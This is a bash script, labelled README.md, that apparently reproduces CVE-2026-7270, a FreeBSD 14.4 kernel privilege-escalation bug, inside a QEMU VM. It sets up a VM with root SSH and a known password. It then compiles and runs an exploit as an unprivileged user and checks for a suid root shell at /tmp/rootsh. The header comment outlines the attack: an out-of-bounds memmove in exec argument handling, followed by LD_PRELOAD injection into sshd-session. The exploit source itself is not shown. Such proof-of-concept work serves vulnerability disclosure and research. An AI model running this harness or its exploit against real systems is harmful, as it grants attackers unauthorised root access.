README.md
Rendering markdown...
#!/bin/bash
#
# run_poc.sh — Reproduce CVE-2026-7270 on FreeBSD 14.4 under QEMU.
#
# The exploit (exec1_lpe21.c) triggers an operator-precedence bug in
# exec_args_adjust_args() that causes an OOB memmove into the adjacent
# exec_map entry. It injects LD_PRELOAD into sshd-session's environment
# to run a constructor as uid=0 and drop a suid root shell at /tmp/rootsh.
#
# Usage:
# ./run_poc.sh [disk.qcow2] # boot VM and run exploit
# ./run_poc.sh run # re-run exploit against already-running VM
# ./run_poc.sh clean # kill VM and remove work dir
#
# The disk image must be a FreeBSD 14.4-RELEASE amd64 VM with:
# - root password: freebsd
# - PermitRootLogin yes in sshd_config
# - sshd enabled (default)
#
# If no image is given the script looks for one in the sibling
# CVE-2026-4747 directory, then offers to download one from FreeBSD.org.
#
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
WORK_DIR="$SCRIPT_DIR"
SSH_PORT=2225
SSH_PASS=freebsd
SSH_USER=root
UNPRIV_USER=freebsd
ROUNDS=15000
# Canonical source image to copy from if none exists locally
SOURCE_IMAGE="/var/folders/n0/6hrxj4wj1dj6zrcxqp942hyw0000gn/T//fbsd-cve-7270/freebsd.qcow2"
FBSD_IMAGE_URL="https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz"
QEMU_BIN=""
VM_PID_FILE="$WORK_DIR/vm.pid"
# ---------- helpers ----------
die() { echo "ERROR: $*" >&2; exit 1; }
find_qemu() {
for q in \
/opt/homebrew/bin/qemu-system-x86_64 \
/usr/local/bin/qemu-system-x86_64 \
"$(command -v qemu-system-x86_64 2>/dev/null)" ; do
[ -x "$q" ] && { QEMU_BIN="$q"; return; }
done
die "qemu-system-x86_64 not found. Install with: brew install qemu"
}
check_deps() {
local missing=()
command -v sshpass >/dev/null 2>&1 || missing+=(sshpass)
[ ${#missing[@]} -eq 0 ] && return
echo "Installing missing deps: ${missing[*]}"
brew install "${missing[@]}"
}
ssh_cmd() {
sshpass -p "$SSH_PASS" ssh \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o LogLevel=ERROR \
-p "$SSH_PORT" \
"[email protected]" "$@"
}
scp_cmd() {
sshpass -p "$SSH_PASS" scp \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o LogLevel=ERROR \
-P "$SSH_PORT" \
"$@"
}
wait_for_ssh() {
echo "[*] Waiting for SSH on port $SSH_PORT..."
for i in $(seq 1 120); do
sshpass -p "$SSH_PASS" ssh \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o LogLevel=ERROR \
-o ConnectTimeout=3 \
-p "$SSH_PORT" \
"[email protected]" true 2>/dev/null && \
{ echo "[*] SSH up after ${i}s"; return 0; }
sleep 2
done
die "SSH did not come up after 240s"
}
# ---------- disk image ----------
find_or_fetch_image() {
local dst="$WORK_DIR/freebsd.qcow2"
if [ -f "$dst" ]; then
echo "[*] Using existing image: $dst" >&2
echo "$dst"
return
fi
if [ -f "$SOURCE_IMAGE" ]; then
echo "[*] Copying image from $SOURCE_IMAGE..." >&2
cp "$SOURCE_IMAGE" "$dst"
echo "$dst"
return
fi
echo "[*] No disk image found. Downloading FreeBSD 14.4-RELEASE from freebsd.org..." >&2
mkdir -p "$WORK_DIR"
local xz="$WORK_DIR/freebsd-14.4.qcow2.xz"
local base="$WORK_DIR/freebsd-14.4-base.qcow2"
curl -fL --progress-bar -o "$xz" "$FBSD_IMAGE_URL"
xz -d -k "$xz"
mv "${xz%.xz}" "$base"
qemu-img resize "$base" 8G
# Seed ISO for cloud-init first boot
if command -v genisoimage >/dev/null 2>&1 || command -v mkisofs >/dev/null 2>&1; then
local isocmd
isocmd=$(command -v genisoimage 2>/dev/null || command -v mkisofs)
cat > "$WORK_DIR/user-data" << 'EOF'
#cloud-config
chpasswd:
list: |
root:freebsd
expire: False
ssh_pwauth: True
runcmd:
- echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config
- service sshd restart
EOF
printf 'instance-id: cve-7270\nlocal-hostname: freebsd-cve7270\n' \
> "$WORK_DIR/meta-data"
"$isocmd" -output "$WORK_DIR/seed.iso" -volid cidata -joliet -rock \
"$WORK_DIR/user-data" "$WORK_DIR/meta-data" 2>/dev/null
SEED_ISO="$WORK_DIR/seed.iso"
else
die "genisoimage/mkisofs not found. Install with: brew install cdrtools"
fi
cp "$base" "$dst"
echo "[*] Running cloud-init first boot (this takes ~60s)..." >&2
boot_vm "$dst" "$SEED_ISO"
wait_for_ssh
ssh_cmd "sync"
kill_vm
sleep 3
echo "$dst"
}
# ---------- VM lifecycle ----------
boot_vm() {
local image="$1"
local seed="${2:-}"
find_qemu
# Kill any existing VM on our port
if [ -f "$VM_PID_FILE" ]; then
local old_pid
old_pid=$(cat "$VM_PID_FILE" 2>/dev/null || true)
[ -n "$old_pid" ] && kill "$old_pid" 2>/dev/null || true
rm -f "$VM_PID_FILE"
sleep 2
fi
local qemu_args=(
-cpu Skylake-Client
-m 2G
-smp 4
-drive "file=$image,format=qcow2,if=virtio"
-netdev "user,id=net0,hostfwd=tcp::${SSH_PORT}-:22"
-device virtio-net-pci,netdev=net0
-nographic
-no-reboot
)
[ -n "$seed" ] && qemu_args+=(-cdrom "$seed")
echo "[*] Booting FreeBSD 14.4 VM (4 CPUs, 2GB RAM, SSH on port $SSH_PORT)..."
"$QEMU_BIN" "${qemu_args[@]}" > "$WORK_DIR/vm.log" 2>&1 &
echo $! > "$VM_PID_FILE"
echo "[*] QEMU pid $(cat "$VM_PID_FILE"), log: $WORK_DIR/vm.log"
}
kill_vm() {
if [ -f "$VM_PID_FILE" ]; then
local pid
pid=$(cat "$VM_PID_FILE")
echo "[*] Stopping VM (pid $pid)..."
kill "$pid" 2>/dev/null || true
rm -f "$VM_PID_FILE"
fi
}
# ---------- exploit ----------
run_exploit() {
local exploit_src="$SCRIPT_DIR/exec1_lpe21.c"
[ -f "$exploit_src" ] || die "exploit source not found: $exploit_src"
echo "[*] Copying exploit source to VM..."
scp_cmd "$exploit_src" "[email protected]:/tmp/exec1_lpe21.c"
echo "[*] Creating unprivileged user '$UNPRIV_USER' and compiling..."
ssh_cmd sh -s << HEREDOC
set -e
id $UNPRIV_USER >/dev/null 2>&1 || pw useradd -n $UNPRIV_USER -m -s /bin/sh -w none
cc -O2 -o /tmp/exec1_lpe21 /tmp/exec1_lpe21.c
chmod 755 /tmp/exec1_lpe21
echo "[*] Compiled OK"
HEREDOC
echo "[*] Running exploit as '$UNPRIV_USER' (up to $ROUNDS rounds)..."
echo "[*] Watch for ROOT OBTAINED below:"
echo
ssh_cmd su -m "$UNPRIV_USER" -c "/tmp/exec1_lpe21 $ROUNDS 0 2>&1"
echo
echo "[*] Verifying root..."
ssh_cmd sh << 'HEREDOC'
if [ -f /tmp/GOT_ROOT ]; then
echo "=== /tmp/GOT_ROOT ==="
cat /tmp/GOT_ROOT
echo "=== /tmp/rootsh ==="
ls -la /tmp/rootsh
echo "=== id via rootsh ==="
/tmp/rootsh -p -c id
else
echo "[-] /tmp/GOT_ROOT not found — exploit did not succeed"
exit 1
fi
HEREDOC
}
# ---------- main ----------
case "${1:-boot}" in
run)
check_deps
run_exploit
;;
clean)
kill_vm
echo "[*] Removing VM artifacts from $WORK_DIR"
rm -f "$WORK_DIR/freebsd.qcow2" "$WORK_DIR/vm.pid" "$WORK_DIR/vm.log"
;;
boot|"")
check_deps
IMAGE=$(find_or_fetch_image)
boot_vm "$IMAGE"
wait_for_ssh
run_exploit
kill_vm
;;
*.qcow2|*.img)
check_deps
boot_vm "$1"
wait_for_ssh
run_exploit
kill_vm
;;
*)
echo "Usage: $0 [disk.qcow2 | run | clean]"
exit 1
;;
esac